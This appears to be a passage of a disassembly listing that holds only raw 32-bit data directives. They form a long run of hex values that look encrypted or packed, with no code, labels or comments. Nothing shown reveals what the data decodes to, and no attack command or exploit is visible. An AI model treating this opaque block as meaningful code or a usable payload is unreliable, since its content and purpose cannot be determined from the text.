		dd 304AB10Bh, 0E8D64B9Dh, 1DEC2151h, 0A524DA3Eh, 9BA07F35h
		dd 3FCFD071h, 60B07346h, 9DA75EDBh, 113DD85Bh, 0A124E480h
		dd 0C633870Fh, 0B2407F57h, 499D7844h, 4F46F707h, 6D01955Ch
		dd 31DFF354h, 0FBE5E0Dh, 0C95373BEh, 0F61194A9h, 0E1E57C4h
		dd 0CFCD1C6Bh, 0E4182385h, 28A20ED3h, 0EF85DF85h, 0C28CAE01h
		dd 7031A7ABh, 43C8B85Eh, 0EB2BAAC0h, 0F5E7EEBEh, 9334ABA3h
		dd 3E80D100h, 0ED6A37D6h, 0FF916450h, 414A59A8h, 806EE339h
		dd 0B0371A0Fh, 0D89C64EFh, 0D3A6A1F9h, 13013223h, 0A4DACD1Ch
		dd 424E70DDh, 8356FE9Ch, 300E4554h, 10A2AF44h, 0C9914D21h
		dd 4A424A05h, 5539C370h, 7136D7BAh, 5FC79BB8h, 0A57A4F0Bh
		dd 0B42CD46Ch, 3C38F830h, 0D24AAECBh, 1A172BA2h, 2D5A4EDAh
		dd 0CE098A41h, 0C9C3CB4Dh, 39630EC2h, 7D629616h, 0EFADE24Fh
		dd 5DE353D3h, 7063C4A8h, 90FC35E9h, 0D554B579h,	0F90F5808h
		dd 507A1DC3h, 8F688CBh,	0BA550C1Ah, 0A77F926Ah,	0F7B0C826h
		dd 50A6A0E4h, 64EB4C8Fh, 92553E32h, 9B9DA7B3h, 6B7758EBh
		dd 0DA901F21h, 0AEEBE404h, 0A242F3F7h, 4D2582EEh, 0D5FE2BDFh
		dd 6FBCFD91h, 1854C5DFh, 0A02C9618h, 0EE63202Eh, 32C8744Bh
		dd 0D800360Eh, 0E845AA74h, 8D8BC1F4h, 0D7C1FE0Bh, 363D9963h
		dd 0FCAF9D0Ah, 0EC2F7D89h, 1C6B90F5h, 3808E06Dh, 713F83FDh
		dd 25BE6714h, 282954F1h, 8379F597h, 0CE1BFB11h,	13A684DBh
		dd 42D7FE57h, 0DAE35D92h, 0F1DF14A8h, 9AD4E250h, 66F9B1B3h
		dd 0A553C8C8h, 8A08FB35h, 0B44D7D3h, 44003820h,	542B0C31h
		dd 3C451BCh, 537B6FFAh,	616B8E91h, 0B21E5045h, 2F0E6356h
		dd 34AF44AAh, 0B99D10FCh, 79B8069h, 3BD43537h, 96F5D27h
		dd 0E943401Ah, 1067EB0Eh, 81437A4Eh, 529F1162h,	61D8AB9Eh
		dd 0E838A73Eh, 4EED862Dh, 0C2FAFC2Ch, 9C7051A7h, 134C4380h
		dd 61CC2681h, 2B1FD295h, 4EEFFDEFh, 7539C370h, 0ECCC719Ah
		dd 4989D46Ch, 357066B4h, 9F02817Fh, 0ED25303Eh,	500500F2h
		dd 2102F70Fh, 5FB4A42Ch, 0EB455DBEh, 565DB4E5h,	0BF5BC7E4h
		dd 0EAFE2B8Ch, 93351B25h, 8644545h, 0C3318CC5h,	0F25DD98Ch
		dd 0E0DC49DEh, 0B387B077h, 5EBBA383h, 0D92BC911h, 49A73D21h
		dd 0FBA510BBh, 0A36E003Eh, 682C7F3Eh, 60C4B1D2h, 0C8E2A54Fh
		dd 6240F5BEh, 9ED04C7Ch, 36F28C59h, 0E0137814h,	90D41620h
		dd 0B8734738h, 901DD409h, 6800EB64h, 0C14A0582h, 4511D20Ch
		dd 78BB7CECh, 8EE60527h, 967464DBh, 0B4372221h,	75DF2969h
		dd 0B11A5CE2h, 0E92EB1CFh, 73FEBC5Eh, 0C899266Eh, 35CF7133h
		dd 44336F19h, 27C2CE42h, 0BD01E64Ah, 0E3CB5FA4h, 3494B5Eh
		dd 0FE7F0015h, 3352BFFh, 0A2B58190h, 0C2D29616h, 72C99A52h
		dd 4511C370h, 6DCBD3E1h, 5860C1Fh, 0E7E4CCFBh, 7763455Eh
		dd 3696AA3Eh, 0CC25A8EFh, 0A808A05Ch, 0C85869A8h, 61F65FA7h
		dd 8483FB26h, 3ADBD171h, 0F365B744h, 8FD9DC82h,	507A2E54h
		dd 0BC7640DFh, 5D9E9C78h, 0DD6A7403h, 8809A58Bh, 0A4141685h
		dd 93351B10h, 72F95C16h, 0A1B1A58Ah, 5164F023h,	8921E351h
		dd 0CC4CF884h, 921EE903h, 5FB4EF74h, 4F4149C2h,	0B95DB4FCh
		dd 68AD4605h, 9F13809Eh, 5B86F1ADh, 0ED1478EAh,	5E3484AFh
		dd 859530F5h, 0D5F6B89Eh, 12C6F135h, 0CD65C005h, 55D6B852h
		dd 907FBDC7h, 0AEB31468h, 4F3776F2h, 8ADA2EEBh,	93993973h
		dd 63B42B00h, 3DEF76F2h, 724F80EBh, 12F68040h, 93350FFBh
		dd 0D7FE9200h, 0A67B4691h, 9C892589h, 7D6A2BC8h, 0D58F463Bh
		dd 7D8C958Ah, 1A45001Fh, 25E07D20h, 81E64EE8h, 1099899h
		dd 0BB02C6Bh, 293811B8h, 0D2802FF4h, 93352BF3h,	54D5A42h
		dd 35EE433Fh, 0B052FF4h, 90D99CF1h, 5E352B00h, 93350FD0h
		dd 38677600h, 0A90F55EBh, 2BDC917h, 0EE1CC4BBh,	3C8EABE3h
		dd 93B23D9Ch, 0E92B747Bh, 8F1C4CEBh, 0E718BFA5h, 0D0A44AD1h
		dd 32EAA426h, 0CC09EA31h, 99CB955Dh, 0FBE0028Ah, 89AC1FF6h
		dd 3CAD34A3h, 0A7E8AF9Dh, 3EC7A2DEh, 0A731DE66h, 753B53B2h
		dd 0CB30577Fh, 1A1BFB66h, 4B2A9C87h, 0E165931Dh, 334DD453h
		dd 96D41B3Ch, 1162B5FBh, 0DCCE6628h, 292F2484h,	80160648h
		dd 0EC5E95AFh, 0E53E105Ah, 0CA15FE2h, 67FE0355h, 41344191h
		dd 0DBA657B4h, 5D73640Ch, 0C7942F64h, 0B9EBC854h, 5FF91AF1h
		dd 3F4DDBF0h, 0A3E97F47h, 0CCAB5A9Fh, 0C1C33EA5h, 0B97CA992h
		dd 3E0F9336h, 0BEFFC1EEh, 13F4E253h, 0F8201206h, 7D18313Eh
		dd 0DCFEF36Bh, 0A3A31629h, 132A0EF3h, 0F90463F8h, 40426121h
		dd 0E4275D6Bh, 0AF4E253h, 2A306E2Eh, 57422AA4h,	97D6A0D5h
		dd 83D65B16h, 4E659108h, 65871089h, 0EC168297h,	970688F7h
		dd 0E141B5FAh, 572AE253h, 0A196B70Eh, 16C535FDh, 0BFE23C78h
		dd 87AA6422h, 1B01F50Ah, 0B2DC083Eh, 4C9DCB6Ch,	99EAEF86h
		dd 0ABCAB5FBh, 0BE147398h, 13F4E253h, 54D43102h, 0BA2329C9h
		dd 58A6B369h, 79BC7729h, 91607373h, 85488732h, 4B275D6Ah
		dd 30B02EE7h, 0FE94408Dh, 6C6F6164h, 0EAA6476h,	41743E5Dh
		dd 16C2ABD1h, 99EAEF85h, 0ABCAB5FBh, 4B0FBD70h,	8C4FFE0Eh
		dd 7897D30Bh, 0BBC90733h, 8016AF40h, 0B5156EAFh, 566631B5h
		dd 0E4A2D7BAh, 582AE253h, 71A66729h, 9589F224h,	79BC699Fh
		dd 72AA6473h, 40FBC071h, 0F82E7D85h, 7D18313Eh,	99EDE884h
		dd 1AE7B5FBh, 4EA5161Ah, 0E44DBF2Fh, 999698C2h,	0A0321207h
		dd 9526B382h, 79AA5779h, 11A671A8h, 79BC6AF9h, 0D60ACB73h
		dd 0DEA8F0B9h, 0FD401095h, 0ABB7CDDCh, 993FE5A9h, 0A4E6DD1Ah
		dd 0DCFC387Ah, 0C2AB2984h, 961CF610h, 135F8E72h, 0E18B5FAh
		dd 0B7CDAF2Fh, 0E18CDB12h, 7443BEE6h, 66C196FDh, 0D18722A3h
		dd 0F7556F02h, 7B85A2E4h, 7A382AE2h, 0D9CDE7E2h, 0EB486A1Ah
		dd 0F8356587h, 0A2E11688h, 0A418D667h, 598F7130h, 9BC5B242h
		dd 7A439B68h, 2C89F169h, 0E318B657h, 0C26FDF67h, 0A4B4E763h
		dd 63E6860Ah, 699BB16Fh, 562F22ADh, 4A41245Eh, 228778F3h
		dd 76A2991Dh, 176E52E2h, 4BB422BCh, 624C8A70h, 0CF6CDC5Ch
		dd 0BE6322AEh, 2FEBA2F2h
		dd 4A0EBC56h, 0B17E691h, 4D58AE3Fh, 69992473h, 0D0C21285h
		dd 0E2B2EACDh, 2CD21D17h, 74BC11D6h, 0D5B44A93h, 379E9E28h
		dd 0F6B4374Ch, 22877D72h, 479FB88Bh, 92C54B8h, 0CBFA0DDh
		dd 9DB79AF7h, 0E13FEB43h, 0FD21317h, 7C06B204h,	546DABAEh
		dd 4A41245Eh, 0E13FA7A9h, 0E3607517h, 0AA70ADF3h, 983E751Fh
		dd 23C6CC33h, 0C7CD2FBAh, 795D7FAAh, 9D779D71h,	14903E76h
		dd 0DCC2B306h, 1C47ECF0h, 0F6F8203Dh, 0DF59D763h, 8CF4CD10h
		dd 660B4E03h, 1A522A26h, 0D96CC2A2h, 6E70B4B0h,	6D2B2D26h
		dd 4E1399B8h, 20B76D80h, 287865AEh, 0BA0139CCh,	418FE27h
		dd 0B4A2E574h, 0D337D3E1h, 0E92822EAh, 0EAD78000h, 0D3C68C6Bh
		dd 4C044803h, 1EB76DD3h, 34CD0DAFh, 434065Eh, 1417EA62h
		dd 0E1B20529h, 94F7D026h, 1549D70h, 0D31406D2h,	0BD7C113Ah
		dd 9BE04345h, 828610ADh, 0EFC3268Ch, 0B8DC346h,	0EAAFE8CEh
		dd 79A0E574h, 0F9506BDDh, 0D337520Ah, 64B5A3EAh, 0EB6F489Ah
		dd 0C240567Ah, 4EE04345h, 70D984D5h, 0AA1DFD9Eh, 0FF912252h
		dd 0D3281E41h, 0F087D6EAh, 0B4C7C76h, 8AD3C15Eh, 38F0CCF4h
		dd 973B2D41h, 6D2B2D21h, 301399B8h, 0FDC931F7h,	0E768656Eh
		dd 6E701818h, 0B1590F26h, 0FF91226Dh, 0D3281E41h, 0EFADDEEAh
		dd 16ED1637h, 0EFB192B4h, 76DC6D1Ah, 604EE06Eh,	0A700C56h
		dd 1FBB0F39h, 0FA473C9Dh, 0AE36F72Ah, 0C2CA5E27h, 0BEDC6D34h
		dd 521CA8E6h, 0A46026Eh, 53D98A21h, 67E52CF9h, 832B2D26h
		dd 3090ED46h, 5278C273h, 54590826h, 0FF91223Eh,	0D3281E41h
		dd 69A8D6EAh, 0F9930AAAh, 973B2A29h, 8280821h, 0B2328D8Bh
		dd 9BA73FD8h, 0E44D6B3h, 5B80FF59h, 4F8E9172h, 4E6ECC5h
		dd 0BF389579h, 89E00B9Eh, 8FD39D70h, 0AAA0A5Ch,	0E73DA6F1h
		dd 5459083Ah, 0C745AA86h, 0E27ABBCCh, 0D73C22B7h, 4E3178B2h
		dd 0B4039D3Eh, 0FB3923FBh, 0B797E45Dh, 0BD7C113Ah, 9BE04345h
		dd 0E01EC562h, 660A4820h, 0DA567CBFh, 14450155h, 0AF4ECC24h
		dd 0C4E04345h, 0FD4FD851h, 63045D96h, 2D1E862Eh, 144551A4h
		dd 9ADB007h, 0C57358BDh, 73E04345h, 0E21FB5CBh,	0B273E29Eh
		dd 18E7522Bh, 304465E0h, 6E70C273h, 79D1A93Bh, 7BC9DEE1h
		dd 5399CBCEh, 1B6D4098h, 0B4C37C6h, 180A6A72h, 0E134B506h
		dd 6070C3B7h, 0ED1698F1h, 0F045EE5Bh, 0D2A0E574h, 0D574707Dh
		dd 1E9F93E1h, 47D93799h, 0F94FC57Dh, 67D53879h,	64D7FC3Bh
		dd 0AF966AA7h, 1C1B0B27h, 0B4C7CC7h, 726E324Eh,	45E0C26Ah
		dd 0FF0A6CB5h, 0D3281FB0h, 6ABBB9EAh, 0E1D288E0h, 0A2FF5AC5h
		dd 5BA71D35h, 3F2C38CAh, 0EDA69D3Eh, 4AA0E574h,	0CFDCC3A2h
		dd 0B4C5FADh, 2D0F4B07h, 1DE04344h, 2CD4DFE0h, 2E45E744h
		dd 1445C40Dh, 0D601B41Bh, 0C39B387Dh, 0F0E04345h, 0EA834C25h
		dd 0D2A0E574h, 35B76D03h, 98705EA1h, 8A7ABB5h, 69712271h
		dd 0BD7C113Bh, 9BE04345h, 0E01EC562h, 43E34820h, 0B7BFA829h
		dd 0C31DF59h, 0A7919CFh, 78E9F3E4h, 75E51B0Ch, 85EEC9E6h
		dd 0C2DD4F5Fh, 2E5E9982h, 3CCDA00Bh, 0FC523BB0h, 15AABA0Bh
		dd 0C73BB82Eh, 0B011CAEFh, 3F5D9995h, 0E8A58B13h, 0B9103C0Eh
		dd 0DAAF899h, 0B0C14CE3h, 0E8CFE67Ch, 0CC2A546Eh, 0C47E5097h
		dd 89096FD3h, 0D57BD4BFh, 0B9C68404h, 0F1ACD26Bh, 2044DC91h
		dd 0DAC0F2Eh, 0B0C14CE3h, 0ECAEC17Ch, 0DCACD267h, 0B0C14AD7h
		dd 4641027Ch, 0CDA5A342h, 0BF11CAEFh, 77E16B53h, 63CCC718h
		dd 8EA9468h, 0E8A58B1Bh, 0D344CA92h, 0A0E2E95Eh, 6FE9E053h
		dd 0B0D23A86h, 0D9E7357Ch, 75D04FC5h, 74D25610h, 6DC134B7h
		dd 3FF0167Dh, 33F34ACEh, 29ED940Eh, 0C8846C45h,	0DDEBC1EFh
		dd 7A91C3C5h, 3C120B95h, 0D5C36D62h, 0BBD04D4Eh, 8C6951B0h
		dd 8C096FD3h, 711547B8h, 0FC6AC9E6h, 0E29B98D6h, 29BEB2FEh
		dd 74D2569Fh, 43B034B7h, 0EF3C4D9h, 7F8CE4D1h, 8AB2DE2Ch
		dd 0F4E195BEh, 854D4354h, 3781F91Bh, 1994AD67h,	5C415BFEh
		dd 43E9A971h, 8D86AB84h, 0CE770029h, 73746D71h,	2DF30FBDh
		dd 6ECE6307h, 6C308A2Ch, 5C72006Ch, 712892CEh, 4E0E7666h
		dd 0C4EA4771h, 0CABEE22h, 0C374D7F1h, 0EBF395BEh, 0C5739DB9h
		dd 48941D4Dh, 56229F4Bh, 0DFB7D0AEh, 4E69D8Eh, 0ECD313E6h
		dd 15C7C6BEh, 0C0F4A857h, 57417EC8h, 5D6A8483h,	0B4543E71h
		dd 2A66C33h, 0F67F0D1Ah, 0E9EC2106h, 80444436h,	47DF904Bh
		dd 9A6C57A2h, 0F5F9A88Dh, 35FEEC71h, 7E73A2C7h,	5B42DD08h
		dd 53B7FEA6h, 0BA8DE902h, 0F556DC12h, 43E6765Eh, 28ADAB84h
		dd 562E458h, 0FDFF5A71h, 31044A4Ah, 1651DE34h, 0C490E10Bh
		dd 586CC822h, 0CE7761F0h, 0AFE9CF2Bh, 0A3FFEB6Dh, 0A35703C7h
		dd 9F99AB85h, 261D846Ch, 0B7F3BEFAh, 0C49019E3h, 9A6BDBFDh
		dd 2A70B69Ch, 90F8446Fh, 0E68EB5C0h, 0BA8CAB96h, 0CC513AEEh
		dd 0FF408DA2h, 77793B9Ah, 84B2DE34h, 9D03BAD6h,	0F4116380h
		dd 43E6765Eh, 9485AB84h, 9D32CA62h, 5116380h, 6F81FEB3h
		dd 9A6C062Fh, 0E0BFD98Ah, 195E15DCh, 98D1CF49h,	3EBA1CA1h
		dd 0E4983955h, 86745BE1h, 2A928F5h, 1C29701Ah, 0F55530A9h
		dd 0BB205771h, 3A8CFDC1h, 1B6F17F1h, 0F40213B4h, 433238F9h
		dd 47D95CBDh, 0AB4423B0h, 92E144C0h, 92FBA729h,	643EC75Bh
		dd 0F14634A6h, 0D7890C40h, 1AEFB636h, 7436196Dh, 0E3CE1309h
		dd 2FE34CF4h, 449C31A8h, 32A19494h, 7938996Ch, 0AB442261h
		dd 0A967110Eh, 0B85E4B28h, 0B4E20DEBh, 9C3724EDh, 2FE34815h
		dd 4F464FA8h, 8BFB6E83h, 0A6F8D053h, 0D0EA0FA7h, 3191A837h
		dd 0E33F857Ah, 444CF18Fh, 0F40533D0h, 9301D2ADh, 0BEA49C42h
		dd 3CC158B1h, 0D7890CA6h, 3B29AB36h, 43AB3350h,	35777804h
		dd 7961A74Ah, 0A30A702Fh, 985E4B28h, 24E16C48h,	0B8C98CEFh
		dd 0C7EE41E1h, 0DAA27175h, 18D2D816h, 770EF2E4h, 93CED7CBh
		dd 1FC73086h, 2F771F6Eh, 465330A8h, 6E82FA85h, 9D648237h
		dd 2FC8A0F2h, 465330A8h, 0B05C7385h, 3F5E4BEEh,	1B254E94h
		dd 4F879093h, 2A3077DAh, 0F17132A8h, 1B254E94h,	92CEA138h
		dd 0A1EEC95Bh, 461B070Fh, 1581F15Ch, 793782F4h,	68F0F15Dh
		dd 97FA9DA9h, 0BFF68DDCh, 821B6387h, 90FA6A8Fh,	0BFF6C82Dh
		dd 92FBAE77h, 7136C1FCh, 0D7BE2E2Ah, 0C0551F53h, 14DE1A24h
		dd 0F699A9E6h, 0D3BBD5CBh, 0F402106Dh, 0A887FF11h, 0E4C1E592h
		dd 0BA2EDEBAh, 0C02DB3F3h, 0E1A92167h, 74EF2FFFh, 91FA6273h
		dd 3C266C58h, 0F0F9F9C3h, 0B6AD896Dh, 959FA606h, 1CBA529h
		dd 2E2CE014h, 0B20F5216h, 581B6387h, 275B401Eh,	0B6DFCA73h
		dd 0E5E4B28h, 3C294773h, 0AB6EDEC3h, 0BAF17D7Bh, 9C3724EDh
		dd 0D4E34815h, 3F9EA959h, 0BF38446Ah, 0E8072F07h, 0F9AFECA3h
		dd 7031DC9Dh, 793BC298h, 0E3A92361h, 0DDE1B505h, 0EB96DB9Eh
		dd 477B0211h, 0FE4EE0FEh, 96CE19DDh, 2833CA17h,	794CB94Ch
		dd 0B03B2261h, 0E5A921C1h, 0B5B1513h, 226EE593h, 0D248F8C1h
		dd 283F3532h, 2ED030E8h, 39DF2F07h, 219EF6C3h, 667D266Dh
		dd 0A11D8BB8h, 3B46C0CCh, 1B3035C3h, 23376B8Ah,	79319DA8h
		dd 107AA871h, 3C26ACD3h, 6B8579C3h, 92FD893Dh, 0B35BE5Bh
		dd 0DF577D6Eh, 0E1AA76D5h, 488A9092h, 0AF9F87AFh, 0B4F4D18Bh
		dd 0DAF33304h, 963B23BEh, 0F4022FBEh, 3EAA21ECh, 0E11E5172h
		dd 51F5159Bh, 410DE40Fh, 2E9B186h, 183BED72h, 8CEC38Fh
		dd 0C9E79E09h, 5E6BACEh
		dd 1783DE76h, 0DC977E73h, 0F879DCAEh, 0D7A1A49Eh, 6753ED45h
		dd 531BF3DFh, 53EB788Fh, 5040EFD3h, 0B4C47F41h,	9C1C2A23h
		dd 4D67710Ch, 1C637114h, 549B6C96h, 4C778CC3h, 7BC27336h
		dd 1A9A392Fh, 8ED76B4Bh, 0DD10F9E9h, 0AE734EFBh, 8EC8259Dh
		dd 10F8E117h, 0E3D117BBh, 0CF48DABBh, 9D378895h, 0CB8AAC2Ah
		dd 0B66E6F15h, 9C1C2A23h, 0CFCE702Eh, 0C0FAA167h, 12F2EDE4h
		dd 0A598EFE7h, 30E20AB9h, 77C7F555h, 3AAC3273h,	7213AAh
		dd 849BF045h, 0F301912Dh, 3CEC09CFh, 7D97F1E8h,	458AF64Dh
		dd 120AA9EBh, 9753ABD1h, 0AF7107D3h, 435537AAh,	3BC5352Ah
		dd 1D71078Ch, 90058973h, 6E11E36Ah, 0DD70FD7Bh,	0A9F12E4h
		dd 6F6782E1h, 473E5950h, 0DC657821h, 45EAA10Fh,	0C69B0E52h
		dd 0C0EDD2C0h, 0EABCBF24h, 0E1BC2F2Fh, 0A86EBD8Bh, 40D7536Dh
		dd 0C99C0E52h, 90F406E5h, 0B625F193h, 89593B9Bh, 0BD5A2913h
		dd 0C69BEED7h, 0D61935D2h, 52A818CFh, 0EAC14048h, 0E1BC2F2Fh
		dd 612C3D2Eh, 8F29F2DBh, 6E326EA5h, 455BD26Ah, 0A5980E52h
		dd 5702B9B9h, 2882550Ch, 0DFBCBFC6h, 56E4F7CCh,	87FB540Ch
		dd 0D9B013C0h, 0C902B6C5h, 66739801h, 8DD5E4B5h, 94B2E160h
		dd 0A4C6AD3Bh, 31F1A576h, 0C70BB6A8h, 88E00BC9h, 0AEF5E6AAh
		dd 0E82A2F0Ch, 18630D7h, 0EDF5AD3Bh, 672A06D7h,	1B68757Dh
		dd 0B4A78934h, 38EC6D8Dh, 66E3BEEEh, 0C99CEFE7h, 0D60DF1E5h
		dd 8DD5E3CCh, 8C4CDD91h, 0EF097F4Ch, 0C5F2DA23h, 0AB3D41h
		dd 196F02BAh, 79E1477Eh, 45892490h, 0EF097CEBh,	458624CBh
		dd 8EF532EBh, 0EE0EA4E5h, 0CC602F1h, 6E3DB4BCh,	461A9A0h
		dd 4C99C141h, 1F836993h, 79791C1Bh, 1863061h, 0BC0A3030h
		dd 8DD5E232h, 0F83F6483h, 0DD31623Ah, 54EEEFF5h, 0C33FCF5Fh
		dd 0F628623Ah, 96C6DBC2h, 8DD5E3EDh, 82D2A78Ch,	7CC0E352h
		dd 5C732E5Dh, 7D982757h, 0EA4E1E78h, 6E11E491h,	0F7344C6Ah
		dd 4184C140h, 4F45F84h,	84E02C38h, 4032974Fh, 8DD5E496h
		dd 0F6DE7C7Fh, 0FC7348D9h, 9B446B40h, 0EB3FE6CDh, 0A0005E53h
		dd 186307Fh, 9EAF3030h,	3E79E0B3h, 8DD5E49Fh, 0F60DE477h
		dd 43E12A8Bh, 1777F053h, 0D8BE4803h, 6C91C7C0h,	68DB4F99h
		dd 4573689Fh, 849B0E52h, 6920425Ah, 31E02840h, 0E8B02FFCh
		dd 0C204A791h, 58CE4D2Bh, 0C73C21CEh, 0B133A579h, 9980EB84h
		dd 7BE6C137h, 371289A6h, 0BF390298h, 8DD53238h,	0AED56F94h
		dd 0A84EC164h, 38EAF3D6h, 31DC7893h, 27CBF8Fh, 5275577Fh
		dd 0CC9D0E3Ch, 6EA786E2h, 0F7364E78h, 0CE7AC140h, 0BA7F8309h
		dd 0FBEE0887h, 0DE94AD3Ah, 7EA31504h, 6E24B897h, 0C556A569h
		dd 795F7FDBh, 0C3D4B659h, 0BBBC2F2Fh, 31E02837h, 18CD955Bh
		dd 4CB54B48h, 26FD475h,	1830A906h, 9BBF4860h, 6F774Eh
		dd 0D60DEF45h, 8DD5E3CCh, 315836D9h, 0CDF7F214h, 1DB45FB3h
		dd 0D9A6F4BDh, 40C73CF6h, 4C8563EBh, 0AFE19A81h, 0EAC188BFh
		dd 0DCD3052Fh, 8EEC2F50h, 0CD3A6049h, 0A94F8177h, 109EAD3Bh
		dd 50E3294Fh, 6D5BD272h, 4559A478h, 0E2887152h,	0B40FD83h
		dd 0DD31623Bh, 32EEEFF5h, 0A9DCDC42h, 0EAC18A91h, 22B6042Fh
		dd 3BC5353Bh, 1D71078Ch, 1E7D8973h, 0EBB6313Ch,	0A17020B9h
		dd 5DF2266Ch, 0E2F66FD7h, 0ADBE2380h, 63354147h, 0A47A72BEh
		dd 0D37A0E36h, 0AC0F494Bh, 93036D8Dh, 8AF288BBh, 9B04140h
		dd 7D905B6Dh, 0EED30538h, 0A9E1718Fh, 0AEF68A91h, 0D2B84E3Ch
		dd 9E6CBD86h, 87D5258Fh, 35683C95h, 96554803h, 0B4C9A216h
		dd 6A90B280h, 4E61A569h, 6F5B82h, 0CC9DF045h, 63A786E2h
		dd 2282550Ch, 0EA0F7655h, 0DF27623Ah, 0AA92A6D3h, 0B071078Dh
		dd 755C3685h, 0D0A10E42h, 56F406DEh, 44A762Fh, 77ADC141h
		dd 1A78BAE3h, 0A08EC140h, 2E29043h, 1E7A03ACh, 0F5B6313Ch
		dd 9DE1718Fh, 0C6D9469Ch, 0BBBC2F2Fh, 0AFDD2837h, 1A8A6FBFh
		dd 76F13555h, 3901E1DAh, 1431FA44h, 0DF3DD287h,	0B33B063Dh
		dd 0FEA81194h, 80250272h, 1863028h, 0DD31623Bh,	0B807EFF5h
		dd 8DD5E3EEh, 0F37238A7h, 0CDFB0E14h, 0CC9DEED1h, 0D60DF1E2h
		dd 8DD5E3CCh, 0D85136D9h, 8DD5E3FBh, 0E87E001Eh, 0D0A1EF6Dh
		dd 56F20EDEh, 74F961D7h, 488680F2h, 0F7576483h,	45FEECF7h
		dd 9C0AF152h, 9DDCDDBBh, 31DC469Ch, 0B4036C8Dh,	0F41989Bh
		dd 66E311D8h, 9DE1CF76h, 0EAC1469Ch, 0E6B9302Fh, 0A9DD2837h
		dd 4A83FF0Bh, 6D98272Ah, 0F7344C6Ah, 5384C140h,	1925465Dh
		dd 8A2FB2AFh, 6DFEF087h, 5659A478h, 0A9E49ED7h,	0B8AFDBF7h
		dd 8DD4C434h, 88695ED1h, 580E045Ch, 0AC30684Ah,	0AEDC6B8Dh
		dd 4589E87Ah, 43BD9EEBh, 2ECCE6C7h, 41774456h, 0F75564A7h
		dd 0AF122940h, 837F303Ch, 1271078Ch, 9D13933Bh,	0F9A3E048h
		dd 0C053C140h, 21D325FCh, 5EE3AD3Bh, 0CD1180A7h, 13FFFED3h
		dd 1C4FF6BFh, 1CD7779Eh, 0C02A3FC8h, 6DB326F0h,	0FB8A679Eh
		dd 7F9CEF14h, 6920425Ah, 0AEE1B0D8h, 444A039h, 8293C141h
		dd 1D2DFD5h, 0CD629963h, 0A598EED1h, 6DF40AB9h,	541689Fh
		dd 0EA12C1A9h, 0DD31623Ah, 6E17B7EBh, 0A8A679Eh, 88B1C6D0h
		dd 971078Ch, 138F76DEh,	0C053DCCDh, 84E025FCh, 53898D59h
		dd 9693D69Ah, 6D61C137h, 0CA8A679Eh, 0C70AF1D1h, 0D8DEB4D4h
		dd 2088AFBCh, 4E5D3737h, 6E2AC665h, 4559A478h, 0AC0F4952h
		dd 31DB6B8Dh, 19694BF4h, 913E5C27h, 8DD9F4C6h, 0A598EED5h
		dd 6E2FD2B9h, 0F4AA7C9Eh, 9A9FF216h, 0D84CACD9h, 0EE53A070h
		dd 175A0270h, 0E7238A6h, 84DC719Ch, 8F67992Dh, 0D60DF171h
		dd 8DD5E3CCh, 295836D9h, 990AEF11h, 0DEDCBAB6h,	7D90B1DEh
		dd 41732840h, 22B6043Bh, 0AAE1719Ch, 49831E2Eh,	572AC65Fh
		dd 8842000Ch, 4588DB28h, 0C79D3DEBh, 5D66AD3Ah,	3CE5E4D7h
		dd 64021147h, 22B6043Bh, 0AEE1719Ch, 0C6D945C0h, 4588DB5Fh
		dd 31DC3DEBh, 7DC10E2Ch, 0F3C5324Ah, 8DD9758Bh,	48F5791Ah
		dd 0CCBC3489h, 8B1488B3h, 0AAE16F96h, 0F669FF2Eh, 5659A436h
		dd 44A762Fh, 47B4C141h,	8DD5E3BBh, 991E6B2Ah, 0FB78447Ch
		dd 0A81FC140h, 5B5220E1h, 44EACF96h, 61A1C310h,	0C99CF019h
		dd 9C0AF1E5h, 7CD4DDBBh, 5294328h, 0A44AC141h, 0A8DCC823h
		dd 168D6F42h, 17113555h, 0E49F010Dh, 0EE92B1D1h, 18634BDh
		dd 3BC5353Bh, 1D71078Ch, 5122B73h, 0F47E3760h, 0ED2FCEDAh
		dd 6DF40766h, 0CD5BD26Ah, 43A388D1h, 102DFCAFh,	5D2E0109h
		dd 0C471078Ch, 6FA643h,	0FF57A645h, 9725DDh, 680C141h
		dd 458630C4h, 95752CEBh, 0A5980E95h, 5EADDFBBh,	7CD9459Ch
		dd 5294328h, 4F4AC141h,	458A084Ah, 0E93C97EBh, 0FE71EE14h
		dd 9331623Dh, 82747C58h, 0ABDCDAD5h, 8DD5E3C4h,	0E91C7CC2h
		dd 51B6860h, 0BB1BC141h, 0D3B14F97h, 58359205h,	6E2AC650h
		dd 0CA8A679Eh, 0E69D89D1h, 73B1547Fh, 0B4DC7BD3h, 8DD5E411h
		dd 0CDFEC2F5h, 46154BD1h, 6D59A452h, 4573689Fh,	57BB4B52h
		dd 7CA41990h, 0D296F4E2h, 0C3F5353Ah, 0D711A78Bh, 458967C3h
		dd 155938EBh, 0A00AA785h, 0CDF406D0h, 9A0AF1D1h, 9B4FEBA9h
		dd 6B710815h, 5D5B4D74h, 0C79E0E3Ah, 0ECF40AB7h, 9E25F266h
		dd 443AA2CEh, 263F5A41h, 36954C55h, 7487C140h, 0D31B7499h
		dd 777107CCh, 0AA2BB8DEh, 0F5CD1EB7h, 2AFDB914h, 79E02E29h
		dd 67306660h, 8DD5E4B5h, 0D9B2E160h, 20A388D0h,	0B4F9851Eh
		dd 0F980BFA8h, 249EC140h
		dd 0A8DD305Bh, 79DC8842h, 45892490h, 619564EBh,	81A79D11h
		dd 6A8A1D7Eh, 0A9E1B66Dh, 0C6D98A91h, 4588DB5Fh, 0A9E13DEBh
		dd 84DC8A91h, 75F974Fh,	458631C6h, 82782FEBh, 7B0A18BDh
		dd 6C7E7262h, 0A8E17BD3h, 84DC8842h, 6C92982Ch,	0CC9D0E60h
		dd 6DF406E2h, 36D1FC7Bh, 0E271078Ch, 0E288980Dh, 9EC0D8D9h
		dd 0B67107D3h, 36A024F6h, 5D779B05h, 990AF10Dh,	0F999C0B6h
		dd 7D9EEF67h, 588C9428h, 0EAC1469Dh, 0F284052Fh, 0EBC4B606h
		dd 0CD73673Dh, 319B5FB3h, 0F981C274h, 40DB7510h, 6AA21DEBh
		dd 79DBE46Bh, 51D6A03h,	0C219C141h, 458A9B68h, 9C2E04EBh
		dd 0C29F6E47h, 9282DF3h, 61247AC5h, 0FE95F7A0h,	7CD9424Ch
		dd 24875F59h, 9FA74650h, 8DD5E254h, 0AF4E3746h,	0B107125Eh
		dd 0DD31623Bh, 32EEEFF5h, 0A8DCDC42h, 0EAC18842h, 6AD1355Fh
		dd 0A8DE03EBh, 64309A42h, 21665F0Fh, 0E6B8C401h, 0D46E2837h
